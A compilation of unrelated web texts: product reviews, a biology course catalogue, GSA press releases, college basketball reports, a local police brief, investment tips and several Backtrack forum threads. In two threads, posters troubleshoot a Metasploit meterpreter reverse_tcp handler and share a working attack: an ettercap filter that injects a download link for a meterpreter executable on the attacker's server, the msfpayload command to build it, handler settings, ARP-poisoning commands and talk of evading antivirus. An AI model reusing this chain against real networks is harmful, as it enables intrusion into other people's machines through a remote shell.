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MSR HyperFlow Microfilter
The MSR HyperFlow Microfilter is an ideal filtration device to take with you into any foray in the great outdoors. With a high flow rate that allows you to pump approximately up to 3 liters per minute, it ensures that you no longer have to wait for a sip of fresh water. This product is extremely light at just 7.4 oz., so carrying it does not overburden your shoulders, even on a strenuous hike or expedition. It is ultra small with dimensions of 7 in. x 3.5 in., which makes packing very convenient, especially when you are trying to save on space. Cleaning is hassle-free, since you do not need any tools to do it. In addition, it comes with a Quick-Connect bottle adaptor, which makes it compatible with a large number of portable water containers. With the MSR HyperFlow Microfilter, you're assured of clean drinking water on any outdoor adventure!
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I carry this filter when in areas that have water sources so I don't have to carry so much water all the time. It's great, easy and fast to use, and the water tastes wonderful. I love how light and small it is; much lighter and smaller than another bottle and I don't need to worry much about running out of water. My filter is now the envy of all my friends and it's a great value!
I purchased this water filter for backpacking in the mountains. I am quite happy with it after my third trip. The pump is easy to operate, compact, and lightweight. MSR paid attention to the details with this unit. No need to pull the water bladder out of your pack, just pull off the bite valve and the filter will attach directly to the hose for easy filling. The outer portion of the water outlet slides in to a platypus bladder screw top, or most standard plastic water bottles. I didn't try the Nalgene bottle adapter, opting to leave it behind to save weight. Who wants to carry a heavy container like that in to the back country anyhow? Cleaning the unit is easy, but getting the vales in the right direction can be confusing at first. I noticed when I handed the filter to someone unfamiliar with it, they needed a little extra help getting it right the first time. It's pretty easy to mess up and make the pump inoperable, but a little attention to the valves and you're golden.
I used this filter for a week and it started having major problems. I tried to back flush it and clean it like all of the other filtration systems I have used over the years but it just would not work. I do NOT recommend this product for any practical field application.


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by CaluluMother Jones magazine has finally published Kathryn Joyce's account of the Evangelical Movement's obsession with adoption and the inevitable not so great outcomes when you don't take practicalities of foreign adoption under consideration. … [Read more...]
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You go not in gleaming steel and fretted mail to meet the bite of blade and crash of battle-ax.
Besides the spear a sword or a battle-ax hung at the side of each.
Another day he exercised the battle-ax, which he so dextrously wielded that he was passed knight of arms in the field.
In Bontoc the head weapon is a battle-ax, in Quiangan it is a long knife.
Given armor and a battle-ax, and nothing could have stood before him.
Its legs were severed from the body with the battle-ax and put in the pot.
As he said it, he swung his battle-ax and off popped the head of the dragon.
Even when the lad raised his battle-ax the dragon made no move.
The peace is sealed by some exchange, as of a battle-ax for a blanket, the people sued having the better part of the trade.
He looks as though 'he would rush out with a battle-ax on his shoulder to meet a chariot.'
An ill-tempered woman, esp a mean old woman; virago (1890s+)


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Discussion in 'Off-topic Zone' started by MonsterD, Jan 23, 2013.
Sources say she did indeed lip synch-a whole lot better than Ashley Simpson.
Didn't Whitney lip-synch at the Super Bowl too?
I don't think it's all that big a deal. Not as bad as Milli Vanilli or whatever.
I always thought Houston did that live, not sure though.
The majority of events these days are lip-synced anyways IMO. Supposedly, it is for better sound on TV's. After watching these past network award shows, a lot looked lip-synced too.
Taylor Swift needs to look into this because she is horrible on live TV, Black-eyed Peas aren't much better.
Black-eyed peas were horrible that superbowl, I think it was the superbowl.
But yeah they rely on being perfected digitally on recordings, then the difference live is huge in a bad way.
It's kind of unclear, but her musical director said she sang over a pre-recording made a day or so before or something like that.
Tonight's Gonna Be A Good Night. Yeah Tonight's Gonna Be A Good Good Night!
Yeah, really pushing the boundaries of lyrical genius. If they needed to lip synch that nonsense, well, cue the old folks talking about 'the good old days...' :laugh2:
Back in my day all you needed was a fiddle, banjo, and a washboard. No fancy e-lectrical devices required. Either you could hit all the notes and soothe the savage breast, or you made the dogs howl in rueful agony--but no one was fooled in any case. Them were the days alright.
Thats why they have them there fancy electrical devices ala auto tune.....If we did hear their actual voices the dogs would be howling.
I always assumed the majority of pop stars lip sync.
Whats the point of going to a concert if they are lip syncing
It's the auto tuned age.
So many artists do this because their fans are disappointed when they see them live that they don't sound like the original version.
And heck, if it wasn't for auto tune half these people wouldn't have a career that lasted more than a few weeks.
What day was that, the 1800's? :laugh2:
We all live in a yellow submarine
Yellow submarine, yellow submarine
We all live in a yellow submarine
Yellow submarine, yellow submarine
A quick question to all of you who are so upset about this.
What difference does it make?
I guess in her defense wasn't it like 11 degrees or something? Would imagine it would be hard to sing in that. She's hot so ill give her a pass.
Sorry wrong guy.
I would actually characterize that as the start of the decline, though there have been some gems in between.
I agree, it makes no difference. Beyond that what does being upset about it do for anyone? This is the sort of small stuff that people need to stop worrying about.
I don't think anyone in this thread is upset about it.
They did pre-record it, but the military personnel on the field said they could hear her actually singing it, but it wasn't on a live microphone.


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Chair: Edward W. Devlin
All students interested in majoring in Biology are requested to see a representative of the Department of Biology during their freshman year to discuss their future programs of study. The requirements for a major in Biology are the following: Biology 110/151 (4 hours credit); Biology 201, 202, 203 (12 hours credit); Chemistry 110/151, and either 221/152 or 230/251; at least 16 additional credit hours in Biology (for a total of 32 credit hours in Biology), not to include Biology 108, 109, 130, or 140. Majors are encouraged to take Mathematics 121 (Statistics).
Note: Majors planning to pursue graduate or professional studies should speak with Biology faculty as soon as possible to determine which other courses (e.g., calculus, physics, organic chemistry) should be taken.
The requirements for a minor in Biology are the following: Biology 110/151 (4 hours credit); two 200-level "core" courses to be chosen from among the following: Biology 201, 202, 203 (8 hours credit); two additional Biology courses at the 300-level, or, one course at the 300-level and the remaining 200-level "core" course listed above. At least one of these courses must include a laboratory (7-8 hours credit).
Please note also the availability of a minor in Environmental Studies.
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TROPICAL BIOLOGY. A study of species and habitat diversity characteristics of different tropical biomes. A guided description of the natural history, the interactions between animals and plants, and the effects of human intervention is offered. Students practice the scientific method by emphasizing intensive field work, gathering of data, analysis, and presentation of results. The course includes a study of different taxa unique to each biome and an exploration of the different environmental characteristics that allow some species and not others to be present in those environments. Prerequisites: Biology 110 and 151, or consent of the instructor. Offered: May Term.
EVOLUTIONARY ECOLOGY. A field-based study of the causal relationship between Darwinian ecology and evolution, examining the principal evolutionary and ecological mechanisms leading to biodiversity, typically in tropical biomes. Using diverse terrestrial and marine ecosystems as living laboratories, this course explores the dynamic interface of biogeography, behavioral ecology, and physiological ecology to investigate means by which organisms adapt to their physical habitat and the other species that live there, both in historical and modern contexts. Prerequisites: Biology 110 and 151. Offered: normally, May Term.
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BIOCHEMISTRY. A structural and functional study of the cell, with emphasis on the role of macromolecules in metabolism, information transfer, and structure. Topics also include an introduction to the kinetics and thermodynamics of biochemical reactions. Students who have received credit for Chemistry 335 may not receive credit for Biology 311. Prerequisites: Biology 110, 151, and 201; and Chemistry 110, 221, 230, 251, and 231; or consent of instructor. Offered: fall semester of odd-numbered years. (Cross-listed as Chemistry 335 in the fall of even-numbered years.)
MOLECULAR BIOLOGY. An exploration of the principles and methods of gene function. Topics include gene expression and regulation, mutations, recombinant DNA technology, RNA catalysis and splicing, and the molecular basis of evolution. Labs include the cloning of genes, cell transformation, probe and marker technology, and the polymerase chain reaction. Prerequisites: Biology 110, 151, 201.
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VERTEBRATE PHYSIOLOGY. An intensive comparative study of the physical, chemical, and metabolic functions of vertebrates, including humans. Emphasis is placed on physiological ecology and adaptation to the environment. Laboratory experiments investigate the function of structural tissues and internal organ systems, utilizing computer software and instrumentation. Prerequisites: Biology 110, 151, 202.
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MARINE BIOLOGY. An introduction to biological oceanography including physical, chemical, and biological processes that govern life in the sea. The course focuses on diverse marine habitats and ecosystems; taxonomic and geographic diversity of marine organisms and their ecology and physiology; and marine resources and conservation. Lectures, discussions, and films explore the ecological and evolutionary mechanisms at work within marine environments. Laboratory exercises involve trips to coastal environments and aquaria plus on-campus activities. Prerequisite: Biology 202 or Biology 203.
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behavior, including research design, data collection, and statistical analysis of data. Prerequisites: Biology 110 and 151.
INVERTEBRATE ZOOLOGY. A study of the diversity of the animal kingdom, excluding vertebrates, taught from a phylogenetic perspective. The major species of each phylum are discussed, including ecology and systematics. Representatives of the major phyla are examined and dissected in the laboratory. Prerequisites: Biology 110, 151, 202.
BIOLOGY OF ARTHROPODS. The Phylum Arthropoda is the largest and most diverse phylum of animals on Earth; an unbiased alien biologist would undoubtedly call this the "arthropod planet." In this course, arthropods are used to examine the diversity of the local fauna and the principles of systematic biology. Focus is on terrestrial arthropods, including arachnids (primarily spiders), myriapods (centipedes and millipedes), and terrestrial crustaceans (pillbugs), though inevitably attention will be drawn to other groups, such as insects, in both terrestrial and aquatic habitats. Students take field trips, learn to collect and identify arthropods, and make a collection of local forms. Lectures and other activities focus on evolution, ecology and behavior of arthropods. Prerequisite: Biology 202 or 203.
BIODIVERSITY. This course attempts to survey the diversity of life on Earth, including both prokaryotic and eukaryotic microorganisms, animals, plants and fungi. After an introduction to systematic biology and phylogenetics, lectures focus on the unique and fascinating characteristics of groups and their evolutionary relationships. The primary source of information and reference is the Internet, and students are expected to do substantive research on particular organisms in which they become interested. This culminates in an in-class presentation and a professional-quality poster, as well as a lengthy paper. Laboratory activities utilize living materials wherever possible, including the collection and observation of unusual organisms from local environments. Prerequisite: any 200-level Biology course.
BIOCHEMISTRY LABORATORY. A laboratory analysis of the structural and functional components of the cell. Techniques will focus on the purification and analysis of subcellular components and macromolecules, especially proteins and nucleic acids, and the kinetic analysis of metabolic reactions. As appropriate, students may engage in novel research. Prerequisite or corequisite: Biology 311 or Chemistry 335. Offered: fall semester of odd-numbered years.
EVOLUTIONARY THEORY. An introduction to evolutionary thinking and the modern synthetic theory. Mathematical models of population phenomena are derived and tested through problem-solving. The process of speciation is examined, and basic biogeographical principles are studied. Some discussion of the history of evolutionary biology and the lives of its major contributors also takes place. Prerequisites: Biology 110, 151, and either 201, 202, or 203.
VERTEBRATE PALEONTOLOGY. A survey of the major groups and events in vertebrate history (including physical anthropology), with emphasis on significant ecological and structural transitions, as well as the broader evolutionary framework of origins and extinctions. Laboratories and field trips develop geological principles of paleontology and provide for examination and preparation of fossil vertebrate specimens. Prerequisite: Biology 202 or 203.
HISTORY OF LIFE. A course presenting some fundamentals of plate tectonics, using this information to reconstruct past environments and past geographies. The development of life on earth is reviewed from an historical perspective, emphasizing faunal and floral changes, the processes of extinction and recovery, and the phylogeny of major groups of organisms. Prerequisites: Biology 110, 151, 202, 203.
HUMAN EVOLUTION. An introductory survey course (with laboratory) in paleoanthropology, examining the origins and relationships of humans to ancestral primates and exploring various stages along the transition from the earliest hominids to modern Homo sapiens. The course considers all evidence-fossil, genetic, behavioral, archaeological-that bears on the subject of human evolution, and investigates a variety of topics, such as classification of humans into "races" and the roles of cloning and stem cells in the future of our species. Prerequisites: Biology 110, 151, and 201 or 202. Offered: fall semester of even-numbered years.


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Just to be sure, are you executing the payload on the victim again after setting up your listener?
And just closing the terminal and restarting msfconsole doesn't affect it?
Just putting this out there, I dont think it is due to incorrect commands, yet I have seen it happen on several occasions, so your advice / information greatly appreciated.
After having created and succesfully obtained a shell or a meterpreter reverse_tcp session, I have noticed that when closing the exploit and trying to start it up again, it seems to (on occasion) neglect connections.
So it basically hangs at the stage of ;
msf exploit(handler) > exploit
Started reverse handler on 192.168.1.105:5632
Starting the payload handler...
This after having being able to use it before.
If I then reboot backtrack, re-issue the same commands to listen for the incoming connection then
all is fine and dandy and the shell / meterpreter works as it should, accepting connections.
So I must be missing something, just not sure where to look.
Any help greatly appreciated.
Just to be sure, are you executing the payload on the victim again after setting up your listener?
And just closing the terminal and restarting msfconsole doesn't affect it?
That is correct.
So starting the listner, executing the executable on victim PC.
Getting the meterpreter session OK.
After having done the testing I wanted, close it all down.
Then after a while, restarting the process as above;
>start listner
>start payload on victim machine
The payload handler never goes to the sending stage. Just stays on listening stage.
Just looks like the handler is not correctly receiving.
When restarting backtrack, all is good again.
The problem is I have not been able to consistently reproduce this situation.
Sometimes it happens sometimes it doesnt, so I was hoping it was something
small I was missing, some kind of refreshing / reloading issue
If I manage to figure out how to reproduce accurately I will post back.
Thanks !
You need to make sure that when you setup the listener that you are remembering to setup the proper IP and port. This would be my first guess as to why the problem you are experiencing is intermittent.
If you are sure everything is correct and still experience issues you may want to try to flush your iptables. Also if you are getting an IP address via DHCP make sure your IP matches your payload.
Do you have any other issues with your network connection after running the payload?
Yep, very sure the commands are correct, I did another test today, using ./msfconsole
Using (arrow up) to reissue the commands to ensure I was not making a simple typo.
I tried with different EXITFUNCs as well which I hadnt last time.
Basically all was hunky dory, had retried it at least 6 times, and all was good.
With retrying I mean;
Stopping meterpreter, the multi/handler and exiting msfconsole
Ensuring the payload is no longer running on victim
Then I left it for a while (+- 30/45min)
then tried again and the same problem as before;
Metasploit not responding to the syn packet being sent by victim.
The listner started the same way as before in msfconsole;
reverse_tcp.exe of course only executed AFTER the multi/handler listening.Code:use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 192.168.1.105 set lport 5632 set exitfunc seh exploit
Very strange, Internet is working normally on the IP, connection seems good.
Might try to flush the iptables though and see if that helps.
If I figure out what it is I will revert, but no ideas so far..
Thanks for your answers and should you come up with any further ideas, please let me know !
There is a lot more you can do to diagnose the issue.
1. Create a new binary and run it on the victim machine. Try to make this one exactly as you made the last. (For diagnostic purposes I would check the hash before and after the file transfer to ensure no corruption is taking place.)
2. Make a new binary payload and change the port. Make sure to use the updated port on your listener.
3. Use a new payload. There are several different types of payloads and there are actually 2 types of reverse tcp payloads you can try.
4. Try a new victim machine if you have one available. Let's make sure it is not the hardware that is causing this issue.
5. (Optional) - Open up a packet sniffer and watch the packet flow during a successful attack and compare it to your unsuccessful attack. This usually works out best when you cut all LAN traffic down to a minimum. Only do this if you are comfortable with wireshark and packet reading.
6. Double check metasploit's website for known bugs that may relate to this issue.
7. Escalate the problem. Metasploit has a IRC chat channel or you can use their website to report a bug. Make sure to explain carefully all the steps you have taken to attempt to repair/diagnose the issue.
Metasploit Penetration Testing Framework - Support
When I have some extra time tonight I will also run a few payload tests on my end to see if I experience the same issue. You may want to hold off on step #7 at least until you can narrow the issue down.
Thanks for your suggestions,
The thing is that it all works great.
Just sometimes after having tested it, and wanting to test again with a decent time limit in the middle, it doesnt seem to
want to accept the connection from victim pc.
I am pretty sure it has nothing to do with the executables, I always do a quick netstat on the victim PC to see whether it is actually sending anything.
Have been able to reproduce the same problem on 3 systems. But for the life of me can't narrow it down to anything.
When I have a bit more time I will try to do a more focussed and documented testing following (some of) your suggestions.
Thanks again for the help !
Come to think of it, it may be an issue with my VM, but I am pretty sure I had the same thing on my BT4 netbook as well.
I will make a couple of new exes and do some testing..
At the moment creating payloads able to bypass AV, and have not been able to re-create the same error / non-response.
Situation and issue remains on hold for the time being.
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GSA Observes National Preservation Month
May 7, 2009
Contact: Susan Sylvester, 202-501-1231
Michael Proul, 202-501-1231
WASHINGTON – The U.S. General Services Administration has launched a new Web site and poster series highlighting its historically and architecturally significant inventory of federal buildings.
The products are being unveiled in May, which is National Preservation Month. This year's theme, "This Place Matters," illustrates historic preservation's ability to protect and improve communities.
"Under the American Recovery and Reinvestment Act, GSA has been entrusted to spend $5.55 billion on approximately 250 projects nationwide," said Anthony Costa, GSA's Public Buildings Service Acting Commissioner. "More than half of this funding will be spent on our historic buildings."
With more than 480 buildings listed in or eligible for the National Register, GSA has preserved legacy buildings that reflect the nation's strength, spirit, and imagination. To highlight the collection and officially mark Preservation Month, GSA's Center for Historic Buildings has released several new products. The Historic Building Web site is now online at www.gsa.gov/historicbuildings. The site features interactive exhibits on the history, geography and architectural style of GSA public buildings in the United States. Virtual visitors can also browse through images, films, and architectural descriptions for more than 200 GSA buildings.
GSA also offers the 2009 Historic Building Poster and Brochure Series online at www.gsa.gov/historicbuildingposters. The series highlights more than 100 of GSA's most significant historic buildings. These featured buildings span more than 150 years of construction and were designed by such architects as Cass Gilbert, Alfred B. Mullet, Robert Mills, Paul P. Cret and Ludwig Mies van der Rohe.
GSA continues to be recognized by the Advisory Council on Historic Preservation, the National Trust for Historic Preservation, and others for its contributions to the collective history, public landmarks, and legacy of the nation's historic properties.
Preserve America, Executive Order 13287, establishes federal policy to provide leadership in preserving America's heritage by actively advancing the protection, enhancement, and contemporary use of the historic properties owned by the federal government.
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GSA provides a centralized delivery system of products and services to the federal government, leveraging its enormous buying power to obtain the best value for taxpayers.
• Founded in 1949, GSA manages more than one-fourth of the government's total procurement dollars and influences the management of $500 billion in federal assets, including 8,600 government-owned or leased buildings and 213,000 vehicles.
• GSA is the manager of USA.gov, the official portal to federal government information and services.
• GSA's mission to provide superior workplaces, expert technology solutions, acquisition services, purchasing, and E-Gov travel solutions and management policies, at best value, allows federal agencies to focus on their core missions.
Did You Know? GSA's historic buildings inventory includes not only courthouses, custom houses, land ports of entry, and federal office buildings, but also such properties originally constructed as a school, a bus station, and an innovative hospital for the insane.


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Gaffney, S.C. – The Brevard College women's basketball team played their first game in 12 days on Thursday night, falling to the Limestone Lady Saints 74-64 in Gaffney, S.C. in non-conference action.
The loss drops BC to 2-5 overall, while with the win Limestone moves to 3-4 on the season.
At the start of the game, the two teams traded baskets as the contest saw two ties and four lead changes in the first four minutes of play. Limestone's Shanna Cubitt put the Lady Saints up 8-6 on a lay-up at the 16:38 mark of the opening half, a lead that Limestone would not relinquish over the rest of the contest.
After a basket by the Tornados Lindsay Brendle cut the Limestone lead to two points at 10-8 at the 14:52 mark, the Lady Saints hit their offensive stride, outscoring the Tornados 33-22 for the remainder off the first half and taking a 43-30 lead into the halftime break.
In the second half, the Lady Saints pulled out to their largest lead of the game, as a made free throw by Addie Graves put Limestone up 21 points at 55-34 with 15:32 remaining in the contest.
Yet the heart of the Tornados showed through, as over the next eight minutes Brevard outscored Limestone 19-2 to cut the home team's lead to four points at 57-53 on back-to-back free throws from junior Millie Wharton.
Despite the huge scoring run to get the Tornados back into the contest, BC ran out of gas down the stretch, as Limestone weathered the Tornados storm to hold on for the 74-64 win.
The Tornados were led by junior Samantha Winn, who had a team-high 16 points and 10 rebounds for the game. BC's Brendle and sophomore Amber Roberts each poured in 10 points apiece, while freshmen Anna Schlobohm and Holli Flippo added eight points apiece.
Limestone was led by Blanca Gonzalez, who poured in a game-high 26 points, while Lauren Pace and Tierney Burdett added 12 points apiece.
The Tornados will play one final game in the 2008 calendar year, as Brevard will travel to Bristol, Virginia to take on the Lady Cobras of Virginia Intermont College. The Tornados defeated Virginia Intermont 79-58 at Brevard back on November 25 for their first win of the season. Limestone will not return to action until the new year when they Lady Saints will play Mount Olive College on January 3.


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SAINT LEO, Fla. – The Saint Leo men's basketball team gave fans an early Christmas present as the Lions won their 11th game of 2013-14 behind a 79-68 victory over visitng Shaw (NC) on Sunday afternoon.
Despite a first half that saw the Lions (11-2) head into the lockers holding a slim 29-25 lead, an early second half surge allowed Saint Leo to open up a comfortable advantage. After the visitors from Raleigh, NC drew to within a bucket to open the half, the Lions outscored the Bears 14-4 over the next five minute span which allowed Saint Leo to open up a 12 point advantage with 14 minutes to play.
Behind outstanding play from Jerrel Harris, Devin Crisosto, Chim Kadima and Spenser Mitchell the Lions extended the lead to as much as 18 points in the second half, and were able to send fans into the Christmas holiday with excitement for the New Year of Sunshine State Conference play.
Shooting 25-of-49 (51 percent) from the field, the Lions were led by an eye-popping six double-digit scoring efforts capped by Ryan Willson's 13 off of the bench. Crisosto and Harris added 12 while Kadima and Ron Foxx dropped in 11. Mitchell rounded out the Lions' double-figures scorers with a 10 point afternoon.
Curtis Hines came off the bench to score 26 points for Shaw (2-8).
The Lions will now head into the Christmas Break where they will have 13 days between games. Saint Leo will next hit the hardwood in the New Year when they welcome Florida Tech into the Bowman Center on January 4, 2014. Tipoff is scheduled for 4 p.m.
For the latest news, updates, and information on the Saint Leo men's basketball team over the Holidays, be sure to visit SaintLeoLions.com. Fans can also stay up-to-date on the latest Lions news by following Saint Leo Athletics on Facebook, Twitter, Instagram, and Youtube.


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A link would be nice ...
Also include why this tool is worth adding to Backtrack (your opinion)
This is an awesome tool that I've fallen in love with since the talk @ DC17. I've used this tool to automate website hacking.
I would love to see this by default in Backtrack.
A link would be nice ...
Also include why this tool is worth adding to Backtrack (your opinion)
Back|track giving machine guns to monkeys since 2007 !
Do not read the Wiki, most your questions will not be answered there !
Do not take a look at the: Forum Rules !
I think the OP means imacros not imacos.
This is an add on for Firefox. This is easy to install.
Further we try to strike a balance when it comes to firefox addons. We try to add those that would appeal to a wide user base, but also not include to many since they generally only bloat and slow down firefox. For those wishing to have this as a default add on for their copy of backtrack I recommend visiting the wiki and adding it to your iso before burning it, or installing to HDD.
To be successful here you should read all of the following.
If you are new to Back|Track
Back|Track Wiki
Failure to do so will probably get your threads deleted or worse.


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Nice, but you need a fair amount of social engineeringCode:Let me know what you think
take a look at the filter, look at what is being replaced... its sort of html injection on the fly
if any one wants to see a quick video i can post one to give you a better idea
what i did was create a reverse meteperter executable then hosted it on a server and did
some arp poisoning with some html injection and you could use this to trick people into
downloading the .exe and get your self a shell
this is just a proof of concept and i take no responsibility
i think this is the working filterCode:if (ip.proto == TCP && tcp.dst == 80) { if (search(DATA.data, "Accept-Encoding")) { replace("Accept-Encoding", "Accept-Nothing!"); } } if (ip.proto == TCP && tcp.src == 80) { if (search(DATA.data, "<title>")) { replace("</title>", "</title><form action="http://192.168.1.6/meterpeter.exe" method="link"><INPUT TYPE=submit value="DOWNLOAD meterpeter.exe"></form><h10>just some instructions</h10>"); msg("html injected"); }}
-create the meterpeter.exe-
(open msfconsole)
./msfpayload windows/meterpeter/reverse_tcp LHOST=192.168.1.6 LPORT=100 x > meterpeter.exe
Now place the executable into your Apache root directory
-set up your listener-
use exploit/multi/handler
set PAYLOAD windows/meterpeter/reverse_tcp
set LHOST 192.168.1.6
set LPORT 100
-execute ettercap-
etterfilter html.filter -o html.ef
ettercap -T -q -F html.ef -M ARP // //
now wait for some one on the network to download and execute meterpeter.exe and you will have a reverse shell
Let me know what you think
Nice, but you need a fair amount of social engineeringCode:Let me know what you think
Don't eat yellow snow :rolleyes:
If i had skill in html, java or php... the webpage would sell it self
maybe give me some suggestionsCode:<form action="http://192.168.1.6/meterpeter.exe" method="link">  <INPUT TYPE=submit value="DOWNLOAD meterpeter.exe"> </form><h10>just some instructions</h10>
Don't pick me wrong, the idea is really nice. Unless you can't exploit some vulnerability you almost always depend on the user to click and/or download anything. Evilgrade is an exception to this.
Don't eat yellow snow :rolleyes:
wow this looks cool... i was not sure what evilgrade was
I recently posted about this, its in the newbie area under "Vista remote shell with phish" i have since perfected it... given a little time to work with it but i have a filter (dns wasnt working too well) that will redirect all traffic.
Thanks go out to hawaii67 for posting this filter some time ago, i'll try to find that post and put it in here later.
Try this as your filter, if the Target machine already has a web page open, it will give an error "404" after they attempt to refresh(or open another page) it will redirect to your HTTPD server.
if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Rubbish!");
msg("changed Accept-Encoding!\n");
if (ip.proto == TCP && tcp.src == 80) {
replace("<BODY", "
<XSS a=");
replace("<body", "
<XSS a=");
msg("Filter Ran.\n");
This post doesnt allow script spacing, but im sure you'll get it. I also have the web pages built and yes they do SELL THEMSELVES. If anyones interested send me a message or an email, and ill send you a copy of what i have thus far. (im not sure if i can put them on here?)
And the original script was posted in a Backtrack 2.0 post entitled "ettercap filters" page 2 of the post if anyone wants to read more about it.

this iframe has potential
and check out irongeeks latest video's... bypass anti-vir fully undetected...
I watched the video, the problem with the normal way we both had going is that vista's ids picks it up (note that XP sp3 does not ...it just runs), this may solve that problem. The normal way with meterpreter/reverse_http does not set off ids, however it really doesnt work. I will play around with the code for the filter and with my setup and see if it gets past IDS. My money says it will. But ill let you know.
Also i think you will find that windows users have come to expect the OS asking them "do you want to?, do you really?, are you sure?, thats not such a good idea!, DO YOU REALLY!!!?".
lol, but again, give me a day or two to test some things and ill get back to you.
have you tested this msfencode? http://metasploit.com/dev/trac/wiki/...ingMeterpreter
its not working for me... i use the correct commands and check the ls -alrt and then i execute this payload on one of my computers but the exploit multi handler does not get a connection ? ? ? im stumped
i have tried it, i could not get it to work either, the only one that gives me a connection is the Original script, there must be something in the EXE payload thats not running, im still playing with it.
The next step for me is to start trouble shooting by running a few pre-made exe files and see if ANY connect back. If not, i will see if i cant find out why. I think it has something to do with the way the payload is initiated. Ill start trouble shooting tommorow.


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Scrapped Plans for Selkirk Duo
Surveillance equipment at the Bethlehem Transfer Station paid off with two arrests, according to town police. It was installed after scrap metal, refrigerators and air conditioners kept disappearing from the town's transfer station. So Friday morning around 1:00 a.m., suspects were seen on the town's fenced-in property on Rupert Road in Selkirk. Police found a pick-up truck loaded with stolen material leaving the landfill.
Matthew Knefley, 30, of Ravena Road and Gerald Weidman III, 33, of Columbus Circle and both of Selkirk, are charged with trespassing and larceny. Both were ticketed and released, police said. They are due back in court on Feb. 4.
Additional charges and arrests may follow as there is reason to believe more suspects are involved., police said in a statement. Anyone with information regarding these incidents is asked to contact the Bethlehem Police Department at (518) 439-9973.


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GSA Approves Orlando Courthouse Design
October 3, 2000
Contact: Viki Reath (202) 501- 1231
Gary Mote (404) 331-2774
Robert Peck, Commissioner, Public Buildings Service, U.S. General Services Administration, yesterday approved the design of the new Orlando, Fla., Federal Courthouse.
The design, chosen through GSA's award-winning, design-excellence selection process, balances the courts' security needs with GSA's desire to provide a vibrant, community-friendly building.
The four-story building will be located at the corner of West Central Boulevard and Division Avenue. Leers, Weinzapfel Associates of Boston, and HLM of Orlando, have designed the 308,000-square-foot building, which will contain 14 courtrooms. Estimated construction cost is $60 million. All of the courtrooms will open onto the building's spacious, light-filled, four-story lobby, which will provide an excellent location for community gatherings and public events.
Lead designer Andrea Leers, FAIA, an award-winning architect who has successfully completed several courthouses, also teaches courthouse design as a professor at Harvard University, Cambridge, Mass. Judges and architectural professionals are regular students in her class, which she has taught for seven years.
The winning concept was evaluated against several other schemes by a team of private sector architecture professionals. The team was comprised of Robert Ivy, FAIA, Editor in Chief of Architectural Record, Roger Schluntz, FAIA, former Dean of the University of Miami School of Architecture and now Dean of the University of New Mexico School of Architecture, and Margaret McCurry, FAIA, Prinicpal in the firm Tigerman McCurry in Chicago, IL. They recommended the winning concept because it best met the project's functional, security and aesthetic goals.
The new Orlando courthouse, like all of the current generation of courthouses that the GSA is building, provides a public presence that is both open and inviting, while fully adhering to the latest criteria of the Interagency Security Committee's (ISC) guidelines for protection against blast. GSA, the FBI, the U.S. Marshals Service, and other agencies charged with protecting Federal employees and the public developed the ISC guidelines following the bombing in Oklahoma City in 1995.
In meeting all of the strict security criteria of the Federal Government, the building will be set back 240 feet from Interstate 4 and more than 60 feet from Central Boulevard and Division Avenue. This will allow for gracious public walks and extensive landscaping with multiple rows of large trees. Also, the amount of glass was reduced as the concept developed, in order to meet the ISC criteria. But the building continues to use extensive natural light to offset energy costs and provide an open, airy feeling. This exciting new courthouse will provide a gateway from downtown Orlando to the revitalized Parramore District. Construction is scheduled to begin in 2002, and the courthouse is scheduled to open in 2005.


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This summer, FindMyPast and the Origins Network began working with FamilySearch to index the 1841 to 1901 British censuses (read our report). You can search the 1841 through 1861 indexes free on FamilySearch Record Search.
You can search by surname, or go to United States Genealogy to browse databases by title.
World Vital Records created FamilyLink.com, then chose FamilyLink.com as its new corporate name (World Vital Records stuck around as the name of the company's database service). The name change lets FamilyLink.com become a full-on corporate Web site while FamilyHistoryLink.com remains a networking site.


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32 Investment Rules and Strategies to Make You a Better Investor
Investment Rules and Strategies
These investment rules and strategies are proven ideas to make you a better value investor and improve investment performance:
Patience is a virtue; develop and cultivate it in your investment management. Patience is a biblical principle that, if applied to investing, will greatly reduce your investment mistakes and improve your investment returns.
Only invest when the odds are heavily in your favor. (Patience)
Invest like an owner. Owners look at things differently. Most people care more about something they own versus something they rent. When you buy an investment think like a long term owner, not a renter.
Develop a plan or roadmap of how you are going to achieve your goals.
Implement a risk management plan with diversification rules and don't deviate from your parameters.
Understand the types of investment risk and try to avoid and mitigate them as much as you possibly can.
Concentrate on not losing money. It's more important to not lose money, than make money. If you are preoccupied with making money you are apt to make bad decisions.
Know what kind of investor you are and the stock investing strategies that best fit your beliefs and personality.
Never invest money you might need because you will usually need it when you have to sell your investment at a low price.
There is a difference between saving, investing, and gambling. Know the difference and treat each one accordingly.
Don't listen to financial prognosticators and forecasters. Understanding probability theory means focusing on the long term.
Only invest in what you understand. Good research leads to good investment decisions. If you don't understand how and why a company makes money, don't make the investment.
Minimize asset correlations by dividing assets among different asset categories. This is called asset allocation.
Buy the best companies. You have a choice. No one is forcing you to purchase a stock. Companies with sustainable competitive advantages can dominate their industries. (Patience)
Look for companies that can survive, and even thrive, in bad economic times. Companies that sell necessities have an advantage.
Net Cash Flow is the single most important company statistic because it tells you how much cash a company is generating from operations. Look for companies with strong predictable cash flows.
Invest in companies with great management. Management controls the cash flow, or where the company's capital is allocated.
Understand Enterprise Value because it represents the total value of a company's equity shares. Essentially, this is what you are paying when you buy your fractional share of ownership (stock).
Value and compare protective company shares using Enterprise Value Ratios.
Compare companies you're considering for purchase to the best stocks in your portfolio. If they don't measure up; don't buy them. If the price is too high; wait. (Patience)
Only buy stocks that are priced with a Margin of Safety. Refuse to overpay. Many times that means passing on great companies, or at least waiting for a better value. (Patience)
Never panic; but buy when others are fearful. This is when you will get the best price. When others panic, use some of your cash reserves to buy quality companies.
Don't time the market; you can't pick the bottom or the top consistently. Learn how to make investment decisions based on value. Buy when values are good, and sell when values are high. This is something you learn over time.
Buy on corrections. Even raging bull markets have corrections which should be looked at as opportunities to buy something you wanted at a better price.
Sell when others are greedy. When the market is moving higher day after day, week after week; give them some of your stock. Your charity (;-)) will usually be rewarded. No one ever goes broke taking a profit.
Avoid over diversification. Don't own too many small positions or so many stocks that you become an index fund. This assures average performance and keeps you from owning only the very best companies.
Focus your portfolio on a few industries with strategic advantages. Owning every industry is over diversification and keeps you from owning the best opportunities.
Focus on the medium to long term and de-emphasize the short-term. Where will your investments be 3 – 5 years from now?
